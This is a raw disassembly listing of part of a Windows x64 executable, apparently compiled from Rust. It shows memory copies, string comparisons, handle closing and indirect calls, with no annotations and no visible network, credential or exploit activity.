call fcn.140047b8c
mov rcx, qword [rbp + 0x2d48]
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov qword [rbp + 0x2d48], rax
mov byte [rbp + 0x2d31], 0
lea rcx, [rbp + 0x29a0]
call fcn.14000e5e2
lea rcx, [rbp + 0x10]
mov rax, qword [rbp + 0x2d48]
mov qword [rcx], rax
mov byte [rbp + 0x2d31], 0
call fcn.14000ee36
mov rcx, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
call fcn.140047b8c
mov rsi, qword [rbp + 0x18]
jmp 0x14002fed7
lea r8, [0x140122812]
push 8
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002ff3e
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x1400306bd
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400306fe
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x26c8]
call fcn.14000fd59
mov byte [rbp + 0x2d1f], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FileName
lea rcx, [rbp + 0x23b0]
push 8
pop r14
mov r8, r14
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d1f], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d1f], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002e4c3
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002e504
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2af8]
call fcn.14000fd59
mov byte [rbp + 0x2d05], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov r12, qword [rbp + 0x26c8]
mov r13, qword [rbp + 0x26d8]
mov rax, qword [rbp + 0x2af8]
mov rcx, qword [rbp + 0x2b08]
mov r8, qword [rbp + 0x2d20]
mov rdx, qword [r8 + 0x40]
mov qword [rbp + 0x2960], rdx
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmmword [rbp + 0x2950], xmm0
mov qword [rbp + 0x2320], r12
mov qword [rbp + 0x2328], r13
mov qword [rbp + 0x2360], rax
mov qword [rbp + 0x2368], rcx
lea rcx, [rbp + 0x10]
call fcn.140067ee3
lea rcx, [rbp + 0x10]
call case.0x140003cad.690
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
and qword [rbp + 0x48], 0
and qword [rbp + 0x20], 0
mov byte [rbp + 0x28], 0
lea rcx, [0x14016ad40]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], 5
mov dword [rbp + 0x70], 0x3b9aca00
push 1
pop rbx
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rbx
push 0x68
pop rcx
call fcn.14007a664
push 0xd
pop rcx
lea rdx, [rbp + 0x10]
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov qword [rdx], rax
and qword [rdx + 8], 0
push 0x18
pop rcx
call fcn.14007a664
mov rsi, rax
mov rax, qword [rbp + 0x20]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmmword [rsi], xmm0
mov qword [rbp + 0x10], rsi
lea rdi, fcn.140069a5a
mov qword [rbp + 0x18], rdi
push 0x10
pop rcx
call fcn.14007a664
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rbp + 0x2ae0], rax
lea rax, fcn.140069922
mov qword [rbp + 0x2ae8], rax
mov qword [rbp + 0x2a70], rbx
mov eax, 0x3b9aca00
mov dword [rbp + 0x2ac8], eax
mov dword [rbp + 0x2ad8], eax
mov qword [rbp + 0x2a80], 3
mov qword [rbp + 0x2400], rbx
lea rdx, [rbp + 0x10]
and qword [rdx + 0x18], 0
mov qword [rdx], 2
lea rcx, [rbp + 0x26e0]
mov r8, r12
mov r9, r13
call fcn.14010abfb
lea rax, [rbp + 0x50]
mov qword [rax + 0x58], r15
push 0xb
pop rcx
lea rsi, [rbp + 0x26e0]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
and qword [rax + 0x60], 0
movdqu xmm0, xmmword [rbp + 0x2400]
movdqu xmm1, xmmword [rbp + 0x2410]
movdqu xmmword [rax - 0x20], xmm0
movdqu xmmword [rax - 0x10], xmm1
mov qword [rax - 0x40], 3
mov byte [rbp + 0x2d04], 1
push 0x20
pop rcx
call fcn.14001018f
lea rsi, [rbp + 0xb0]
mov qword [rax], rbx
mov qword [rbp + 0x2c10], rax
mov qword [rbp + 0x2c18], rbx
mov qword [rbp + 0x2c20], rbx
mov rcx, rsi
call fcn.14000f0ff
mov qword [rbp + 0xb0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xb8], xmm0
and qword [rbp + 0x2080], 0
lea rbx, [0x14013dfb9]
mov qword [rbp + 0x2088], rbx
mov qword [rbp + 0x2090], 0xa
mov qword [rbp + 0x26e0], 3
push 0x18
pop rcx
call fcn.14001018f
mov qword [rbp + 0x2d48], rax
lea rdi, [rbp + 0x30]
mov rax, qword [rbp + 0x2c20]
mov rcx, qword [rbp + 0x2d48]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2c10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x26e0]
movups xmm1, xmmword [rbp + 0x26f0]
movaps xmmword [rbp + 0x2400], xmm0
movaps xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x2700]
mov qword [rbp + 0x2420], rax
mov rdx, qword [rdi + 0x90]
imul rax, rdx, 0x78
add rax, 8
mov qword [rbp + 0x2d58], r14
cmp r14, rax
je 0x140031301
mov rcx, qword [rbp + 0x2d58]
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14002e7e3
mov rcx, qword [rbp + 0x2d58]
mov rcx, qword [rcx + 8]
mov r8, qword [rbp + 0x2d58]
mov r8, qword [r8 + 0x10]
cmp rcx, rbx
jne 0x14002e7f9
cmp r8, 0xa
je 0x14002e84e
mov r9, qword [rbp + 0x2d58]
lea r14, [r9 + 0x78]
cmp r8, 0xa
jne 0x14002e7b9
xor r8d, r8d
cmp r8, 0xa
je 0x14002e84e
mov r9b, byte [r8 + rbx]
mov r10b, byte [rcx + r8]
inc r8
lea r11d, [r9 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
lea r12d, [r10 - 0x41]
cmp r12b, 0x1a
setb r12b
shl r12b, 5
or r11b, r9b
or r12b, r10b
cmp r11b, r12b
je 0x14002e80d
jmp 0x14002e7b9
mov rcx, qword [rbp + 0x2d58]
call fcn.14000c9a3
mov rax, qword [rbp + 0x2090]
mov rcx, qword [rbp + 0x2d58]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2080]
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rbp + 0x2400]
movdqa xmm1, xmmword [rbp + 0x2410]
movdqu xmmword [rcx + 0x18], xmm0
movdqu xmmword [rcx + 0x28], xmm1
mov rax, qword [rbp + 0x2420]
mov qword [rcx + 0x38], rax
mov qword [rcx + 0x40], 1
movabs rax, 0xf27bdb3779e17938
mov qword [rcx + 0x50], rax
movabs rax, 0x8acf677a48d25157
mov qword [rcx + 0x48], rax
mov rax, qword [rbp + 0x2d48]
mov qword [rcx + 0x58], rax
lea rax, fcn.14000eea6
mov qword [rcx + 0x60], rax
lea rdx, [rbp + 0x55]
mov rax, qword [rdx - 0x3d]
mov qword [rbp + 0x2058], rax
movups xmm0, xmmword [rdx - 0x35]
movaps xmmword [rbp + 0x2300], xmm0
movups xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rdi + 0x10]
movdqa xmmword [rbp + 0x2a60], xmm1
movaps xmmword [rbp + 0x2a50], xmm0
mov edi, dword [rdx - 5]
mov al, byte [rdx - 1]
mov dword [rbp + 0x2d48], eax
lea rcx, [rbp + 0x2670]
push 0x53
pop r8
call sub.msvcrt.dll_memcpy
mov rax, qword [rsi + 0x10]
mov qword [rbp + 0x2b90], rax
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rbp + 0x2b80], xmm0
cmp edi, 2
jne 0x14002e949
mov r12b, 1
push 2
pop rbx
jmp 0x140032818
lea rsi, [rbp + 0x2ba5]
lea rdx, [rbp + 0x2670]
push 0x53
pop r8
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov dword [rsi - 5], edi
mov eax, dword [rbp + 0x2d48]
mov byte [rsi - 1], al
mov rax, qword [rbp + 0x2a50]
dec rax
push 3
pop rcx
mov qword [rbp + 0x2660], rcx
mov qword [rbp + 0x2030], rax
test rax, 0xfffffffffffffffb
je 0x14002e9b0
movdqa xmm0, xmmword [rbp + 0x2300]
movdqa xmmword [rbp + 0x2390], xmm0
mov rax, qword [rbp + 0x2d38]
mov qword [rbp + 0x2660], rax
mov ecx, 0x88
lea rax, [rbp + 0x2080]
add rax, rcx
mov qword [rbp + 0x2350], rax
lea rax, [rbp + 0x2400]
add rax, rcx
mov qword [rbp + 0x2038], rax
lea rax, [rbp + 0x10]
add rcx, rax
mov qword [rbp + 0x2060], rcx
pxor xmm6, xmm6
mov qword [rbp + 0x22f0], rax
cmp byte [rbp + 0x2be0], 0
je 0x1400314fd
mov r8d, dword [rbp + 0x2bd4]
mov r9d, dword [rbp + 0x2bd8]
mov rcx, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bc0]
call fcn.14010abda
mov rsi, rax
test rax, rax
je 0x1400314fd
mov rdi, rdx
cmp word [rbp + 0x2bc8], 0
je 0x14002ea47
movzx eax, word [rbp + 0x2bca]
mov word [rbp + 0x2b18], ax
jmp 0x14002ea6b
lea rcx, [rbp + 0x2ba0]
call fcn.140063330
mov rcx, rax
call fcn.14010ab06
test ax, ax
je 0x14003350c
mov word [rbp + 0x2b18], dx
mov r14, qword [r15 + 0x70]
mov rbx, qword [r15 + 0x78]
lea rcx, [rbp + 0x2ba0]
call fcn.140063330
mov r10, qword [rbx + 0x18]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
movzx eax, word [rbp + 0x2b18]
mov word [rsp + 0x20], ax
lea rcx, [rbp + 0x10]
mov rdx, r14
mov qword [rbp + 0x2978], rsi
mov r8, rsi
mov qword [rbp + 0x22e8], rdi
mov r9, rdi
call r10
mov r12b, byte [rbp + 0x10]
cmp r12b, 0xa
jne case.0x140005121.316
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2340], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x2348], rax
lea rcx, [rbp + 0x2ba0]
call fcn.140063330
mov rcx, rax
lea r8, [0x1401902c3]
push 4
pop r9
call fcn.14010a6a2
test al, al
je 0x14002eb1b
cmp dword [r15 + 0x10], 3
je 0x14002eb1b
mov rcx, qword [rbp + 0x2340]
mov dl, 1
mov rax, qword [rbp + 0x2348]
call qword [rax + 0x100]
lea rax, [rbp + 0x2988]
movdqu xmmword [rax], xmm6
mov qword [rbp + 0x2980], 8
mov byte [rbp + 0x2d37], 1
mov rcx, qword [rbp + 0x22e8]
xor edx, edx
call fcn.1400814b3
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, qword [rbp + 0x2978]
mov rbx, qword [rbp + 0x22e8]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rbp + 0x2400], rsi
mov qword [rbp + 0x2408], rdi
mov qword [rbp + 0x2410], rbx
mov word [rbp + 0x2418], 1
and qword [rbp + 0x2c10], 0
movzx eax, word [rbp + 0x2b18]
mov word [rbp + 0x241a], ax
lea rax, [0x14013d074]
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], 4
mov qword [rbp + 0x26e0], 3
push 0x20
pop rcx
call fcn.14007a664
movups xmm0, xmmword [rbp + 0x2400]
movups xmm1, xmmword [rbp + 0x2410]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
mov rcx, qword [rbp + 0x2700]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], 1
movabs rcx, 0xc65722ab18c48bf3
mov qword [rbp + 0x48], rcx
movabs rcx, 0xdea7907285781345
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x50], rax
lea rax, fcn.1400630e3
mov qword [rbp + 0x58], rax
mov byte [rbp + 0x2ce4], 0
lea rcx, [rbp + 0x2980]
lea rdx, [rbp + 0x2c10]
lea r8, [rbp + 0x10]
call fcn.1400630f2
mov rax, qword [rbp + 0x2b80]
mov qword [rbp + 0x2d38], rax
test rax, rax
je 0x14002f151
imul rax, qword [rbp + 0x2b90], 0x78
add rax, qword [rbp + 0x2d38]
mov qword [rbp + 0x2ce8], rax
mov rax, qword [rbp + 0x2ce8]
cmp qword [rbp + 0x2d38], rax
setne byte [rbp + 0x2cd0]
je 0x14002f151
mov byte [rbp + 0x2d37], 1
lea rcx, [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2d38]
call fcn.1400623ee
mov rax, qword [rbp + 0x2d38]
mov r13, qword [rax + 0x18]
cmp r13, 3
je 0x14002ee0b
test r13, r13
je 0x14002eddf
cmp r13d, 1
jne 0x14002ecf9
mov rax, qword [rbp + 0x2d38]
lea rdx, [rax + 0x20]
mov byte [rbp + 0x2d46], 1
lea rcx, [rbp + 0x26e0]
call fcn.1400478ff
jmp 0x14002eddf
mov rax, qword [rbp + 0x2d38]
mov r14, qword [rax + 0x20]
mov rsi, qword [rax + 0x30]
push 8
pop r12
test rsi, rsi
je 0x14002ed3c
mov rax, rsi
shr rax, 0x3a
jne 0x140033847
mov rbx, rsi
shl rbx, 5
push 8
pop rcx
mov rdx, rbx
call fcn.14007a693
mov r12, rax
test rax, rax
je 0x140033858
mov qword [rbp + 0x2400], r12
mov qword [rbp + 0x2408], rsi
and qword [rbp + 0x2410], 0
mov rbx, rsi
shl rbx, 5
add rbx, r14
xor eax, eax
mov qword [rbp + 0x2d58], rax
mov rdi, rsi
sub rdi, 1
jb 0x14002edc8
cmp r14, rbx
je 0x14002edc8
cmp qword [rbp + 0x2d58], rsi
jae 0x140032524
lea rcx, [rbp + 0x26e0]
mov rdx, r14
call fcn.1400478ff
add r14, 0x20
mov rcx, qword [rbp + 0x2d58]
lea rax, [rcx + 1]
shl rcx, 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movdqu xmmword [r12 + rcx + 0x10], xmm1
movdqu xmmword [r12 + rcx], xmm0
mov qword [rbp + 0x2d58], rax
jmp 0x14002ed68
movdqu xmm0, xmmword [rbp + 0x2400]
movdqa xmmword [rbp + 0x26e0], xmm0
mov qword [rbp + 0x26f0], rsi
movdqa xmm0, xmmword [rbp + 0x26e0]
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2410], rax
mov rax, qword [rbp + 0x26f8]
mov qword [rbp + 0x2418], rax
movdqa xmmword [rbp + 0x2400], xmm0
mov qword [rbp + 0x2c10], r13
movdqa xmm0, xmmword [rbp + 0x2400]
mov rax, qword [rbp + 0x2410]
lea rcx, [rbp + 0x2c18]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x2418]
and qword [rbp + 0x26e0], 0
mov qword [rcx + 0x18], rax
movdqu xmmword [rcx], xmm0
mov rax, qword [rbp + 0x2d38]
mov rcx, qword [rax + 0x40]
mov rax, rcx
mov qword [rbp + 0x2cf0], rcx
test rcx, rcx
je 0x14002eea1
cmp dword [rbp + 0x2cf0], 1
jne 0x14002eea6
mov rax, qword [rbp + 0x2d38]
mov rcx, qword [rax + 0x48]
mov qword [rbp + 0x2d58], rcx
mov rcx, qword [rax + 0x50]
mov qword [rbp + 0x2cb8], rcx
mov rcx, qword [rax + 0x58]
mov rax, qword [rax + 0x60]
call qword [rax + 0x18]
mov qword [rbp + 0x2d48], rax
mov qword [rbp + 0x2c08], rdx
jmp 0x14002f03c
jmp 0x14002f03c
mov rcx, qword [rbp + 0x2d38]
mov r8, qword [rcx + 0x50]
mov rax, qword [rcx + 0x68]
mov qword [rbp + 0x2668], rax
mov rax, qword [rcx + 0x70]
mov qword [rbp + 0x2970], rax
test r8, r8
je 0x14002f013
inc r8
lea rcx, [rbp + 0x2400]
push 0x20
pop rdx
call fcn.140057f30
mov rax, qword [rbp + 0x2400]
mov qword [rbp + 0x2d58], rax
test rax, rax
je 0x14002ef03
mov rax, qword [rbp + 0x2418]
mov qword [rbp + 0x2b10], rax
mov rdx, qword [rbp + 0x2408]
mov rax, qword [rbp + 0x2410]
mov rcx, qword [rbp + 0x2d58]
mov qword [rbp + 0x2b20], rcx
mov qword [rbp + 0x2b28], rdx
mov qword [rbp + 0x2b30], rax
mov rax, qword [rbp + 0x2b10]
mov qword [rbp + 0x2b38], rax
mov rsi, qword [rbp + 0x2d38]
mov rdi, qword [rsi + 0x48]
mov qword [rbp + 0x2cb8], rdx
lea r8, [rdx + 0x11]
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsi + 0x50]
mov r8, qword [rsi + 0x60]
add rax, rdi
inc rax
movdqa xmm0, xmmword [rdi]
pmovmskb ecx, xmm0
not ecx
lea rdx, [rdi + 0x10]
mov qword [rbp + 0x2400], rdi
mov qword [rbp + 0x2408], rdx
mov qword [rbp + 0x2410], rax
mov word [rbp + 0x2418], cx
mov rax, r8
mov qword [rbp + 0x2c08], r8
mov qword [rbp + 0x2420], r8
xor eax, eax
mov qword [rbp + 0x2d48], rax
lea rcx, [rbp + 0x2400]
call fcn.140062874
test rax, rax
je 0x14002efff
mov r14, rax
mov rsi, qword [rax - 0x20]
mov rbx, qword [rax - 0x18]
mov rcx, qword [rax - 0x10]
mov rax, qword [rax - 8]
call qword [rax + 0x18]
mov r8, rdi
sub r8, r14
mov rcx, qword [rbp + 0x2d58]
sub rcx, r8
sar r8, 5
mov qword [rbp + 0x2d48], r8
mov qword [rcx - 0x18], rbx
mov qword [rcx - 0x20], rsi
mov qword [rcx - 0x10], rax
mov qword [rcx - 8], rdx
jmp 0x14002efab
mov rax, qword [rbp + 0x2d38]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x2d48], rax
jmp 0x14002f03c
lea rax, [0x14016ad40]
mov qword [rbp + 0x2d58], rax
xor eax, eax
mov qword [rbp + 0x2c08], rax
xor eax, eax
mov qword [rbp + 0x2d48], rax
xor eax, eax
mov qword [rbp + 0x2cb8], rax
lea rcx, [rbp + 0x26e0]
call fcn.140062791
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x26e0], rax
mov rax, qword [rbp + 0x2d58]
mov qword [rbp + 0x26e8], rax
mov rax, qword [rbp + 0x2cb8]
mov qword [rbp + 0x26f0], rax
mov rax, qword [rbp + 0x2d48]
mov qword [rbp + 0x26f8], rax
mov rax, qword [rbp + 0x2c08]
mov qword [rbp + 0x2700], rax
mov rax, qword [rbp + 0x2668]
mov qword [rbp + 0x2708], rax
mov rdx, qword [rbp + 0x2970]
mov qword [rbp + 0x2710], rdx
lea rcx, [rbp + 0x15]
mov qword [rcx + 0x53], rdx
mov rax, qword [rbp + 0x26e0]
mov qword [rcx + 0x23], rax
mov rax, qword [rbp + 0x26e8]
mov qword [rcx + 0x2b], rax
mov rax, qword [rbp + 0x2700]
mov qword [rcx + 0x43], rax
mov rax, qword [rbp + 0x2708]
mov qword [rcx + 0x4b], rax
mov rax, qword [rbp + 0x26f0]
mov qword [rcx + 0x33], rax
mov rax, qword [rbp + 0x26f8]
mov qword [rcx + 0x3b], rax
mov rax, qword [rbp + 0x2c30]
mov qword [rbp + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x2c10]
movdqu xmm1, xmmword [rbp + 0x2c20]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x10], xmm0
mov byte [rbp + 0x2d46], 0
lea rcx, [rbp + 0x2980]
lea rdx, [rbp + 0x2a00]
lea r8, [rbp + 0x10]
call fcn.1400630f2
xor eax, eax
mov cl, byte [rbp + 0x2cd0]
mov al, cl
imul rax, rax, 0x78
add qword [rbp + 0x2d38], rax
jmp 0x14002ec7d
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2a50]
call fcn.140068eb0
mov rdx, qword [rbp + 0x2bb0]
mov r8, qword [rbp + 0x2bc0]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
movups xmm0, xmmword [rbp + 0x2bcc]
lea rax, [rbp + 0x2be0]
movups xmm1, xmmword [rax]
lea r8, [rbp + 0x20b0]
movups xmmword [r8 + 0x30], xmm1
mov al, byte [rax + 0x10]
mov byte [r8 + 0x40], al
mov eax, dword [rbp + 0x2bc8]
mov ecx, dword [rbp + 0x2bdc]
movups xmm1, xmmword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x26f0]
mov qword [r8 + 0x10], rdx
movups xmm2, xmmword [rbp + 0x26e0]
movups xmmword [r8], xmm2
mov rdx, qword [rbp + 0x2990]
mov r8, qword [rbp + 0x2350]
mov qword [r8 + 0x10], rdx
movups xmm2, xmmword [rbp + 0x2980]
movups xmmword [r8], xmm2
movaps xmmword [rbp + 0x20a0], xmm1
mov dword [rbp + 0x20c8], eax
movups xmmword [rbp + 0x20cc], xmm0
mov dword [rbp + 0x20dc], ecx
mov byte [rbp + 0x2120], 2
mov rcx, qword [rbp + 0x2340]
mov qword [rbp + 0x20f8], rcx
mov rax, qword [rbp + 0x2348]
mov qword [rbp + 0x2100], rax
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2090], xmm1
movdqa xmmword [rbp + 0x2080], xmm0
mov rdx, qword [r15 + 0x60]
mov r8d, dword [r15 + 0x68]
mov rax, qword [rax + 0xe8]
mov byte [rbp + 0x2d55], 1
call rax
mov qword [rbp + 0x2d58], rax
cmp qword [rbp + 0x2d58], 0
jne 0x140031528
mov rdx, qword [r15 + 0x50]
mov r8d, dword [r15 + 0x58]
mov rax, qword [rbp + 0x2348]
mov rax, qword [rax + 0xe0]
mov byte [rbp + 0x2d55], 1
mov rcx, qword [rbp + 0x2340]
call rax
mov qword [rbp + 0x2d58], rax
cmp qword [rbp + 0x2d58], 0
jne 0x140031528
test qword [rbp + 0x2030], 0xfffffffffffffffb
je 0x14002f2fc
cmp qword [rbp + 0x2660], 3
jne 0x14002f2d2
mov byte [rbp + 0x2d55], 1
mov rcx, qword [rbp + 0x2350]
xor edx, edx
call fcn.14006b5f2
jmp 0x14002f2fc
mov rax, qword [rbp + 0x2660]
dec rax
cmp rax, 2
jae 0x14002f2fc
mov byte [rbp + 0x2d55], 1
mov rcx, qword [rbp + 0x2350]
mov rdx, qword [rbp + 0x2058]
call fcn.14006b5f2
push 0xf
pop rcx
lea rdi, [rbp + 0x2c10]
lea rsi, [rbp + 0x2080]
rep movsq qword [rdi], qword [rsi]
mov r8, qword [rbp + 0x20f8]
mov r9, qword [rbp + 0x2100]
mov rcx, qword [rbp + 0x2350]
mov rax, qword [rcx + 0x10]
lea rdx, [rbp + 0x15]
mov qword [rdx + 0x83], rax
movups xmm0, xmmword [rcx]
movups xmmword [rdx + 0x73], xmm0
mov bl, byte [rbp + 0x2120]
movaps xmm0, xmmword [rbp + 0x2080]
movdqa xmm1, xmmword [rbp + 0x2090]
movaps xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
push 0xb
pop rcx
lea rdi, [rbp + 0x30]
lea rsi, [rbp + 0x2c30]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rbp + 0x26e0]
mov qword [rbp + 0x2cf0], r8
mov rdx, r8
lea r8, [rbp + 0x10]
mov qword [rbp + 0x2d38], r9
call qword [r9 + 0xd0]
mov rax, qword [rbp + 0x26e0]
cmp rax, 0xa
je case.0x14000776e.298
lea rdx, [rbp + 0x26f0]
mov rcx, qword [rdx + 0x78]
mov qword [rbp + 0x2a10], rcx
movups xmm0, xmmword [rdx + 0x68]
movaps xmmword [rbp + 0x2a00], xmm0
movzx edx, word [rbp + 0x26e8]
mov r8d, dword [rbp + 0x26ea]
movzx r9d, word [rbp + 0x26ee]
mov r10, qword [rbp + 0x26f0]
movzx r11d, word [rbp + 0x26f8]
mov r14d, dword [rbp + 0x26fa]
movzx r12d, word [rbp + 0x26fe]
push 0xb
pop r13
mov rcx, r13
lea rdi, [rbp + 0x2b20]
lea rsi, [rbp + 0x2700]
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x2400], rax
mov word [rbp + 0x2408], dx
mov word [rbp + 0x240e], r9w
mov dword [rbp + 0x240a], r8d
mov qword [rbp + 0x2410], r10
mov word [rbp + 0x2418], r11w
mov word [rbp + 0x241e], r12w
mov dword [rbp + 0x241a], r14d
mov rcx, r13
lea rdi, [rbp + 0x2420]
lea rsi, [rbp + 0x2b20]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2478], rax
mov rax, qword [rbp + 0x2d38]
mov qword [rbp + 0x2480], rax
mov rax, qword [rbp + 0x2a10]
mov rcx, qword [rbp + 0x2038]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x2a00]
movdqu xmmword [rcx], xmm0
mov byte [rbp + 0x24a0], bl
cmp qword [rbp + 0x2660], 3
jne 0x14002f610
mov r8d, 0xa8
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2400]
call sub.msvcrt.dll_memcpy
mov ebx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x34]
mov dword [rbp + 0x2d38], eax
mov r12b, byte [rbp + 0x38]
mov al, byte [rbp + 0x39]
mov dword [rbp + 0x2d48], eax
mov esi, dword [rbp + 0x3a]
movzx r13d, word [rbp + 0x3e]
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x2d58], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x2ce8], rax
mov rdx, qword [rbp + 0x88]
mov rax, qword [rbp + 0x90]
lea rcx, [rbp + 0x2a00]
mov qword [rbp + 0x2cd0], rdx
mov qword [rbp + 0x2cf0], rax
call qword [rax + 0xd8]
mov al, byte [rbp + 0x2a38]
mov byte [rbp + 0x2cb8], al
cmp al, 4
jne 0x14002f8d6
lea rcx, [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2cd0]
mov rax, qword [rbp + 0x2cf0]
call qword [rax + 0xf0]
lea rcx, [rbp + 0x2c10]
call fcn.14005e8e9
mov r12b, byte [rbp + 0x2a00]
mov al, byte [rbp + 0x2a01]
mov dword [rbp + 0x2d48], eax
mov ebx, dword [rbp + 0x2a02]
movzx r13d, word [rbp + 0x2a06]
mov rsi, qword [rbp + 0x2a08]
movzx eax, word [rbp + 0x2a10]
mov word [rbp + 0x2c08], ax
mov edi, dword [rbp + 0x2a12]
movzx r14d, word [rbp + 0x2a16]
mov rcx, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cf0]
call fcn.14006097e
shl r13, 0x20
or r13, rbx
shl r14, 0x20
or r14, rdi
mov rcx, qword [rbp + 0x2d58]
mov rdx, qword [rbp + 0x2ce8]
call fcn.14000e02a
push 2
pop rbx
mov eax, dword [rbp + 0x22e4]
mov dword [rbp + 0x2d38], eax
mov qword [rbp + 0x2d58], rsi
mov rax, qword [rbp + 0x2040]
mov qword [rbp + 0x2cd0], rax
mov rax, qword [rbp + 0x2048]
mov qword [rbp + 0x2cf0], rax
mov al, byte [rbp + 0x2a4f]
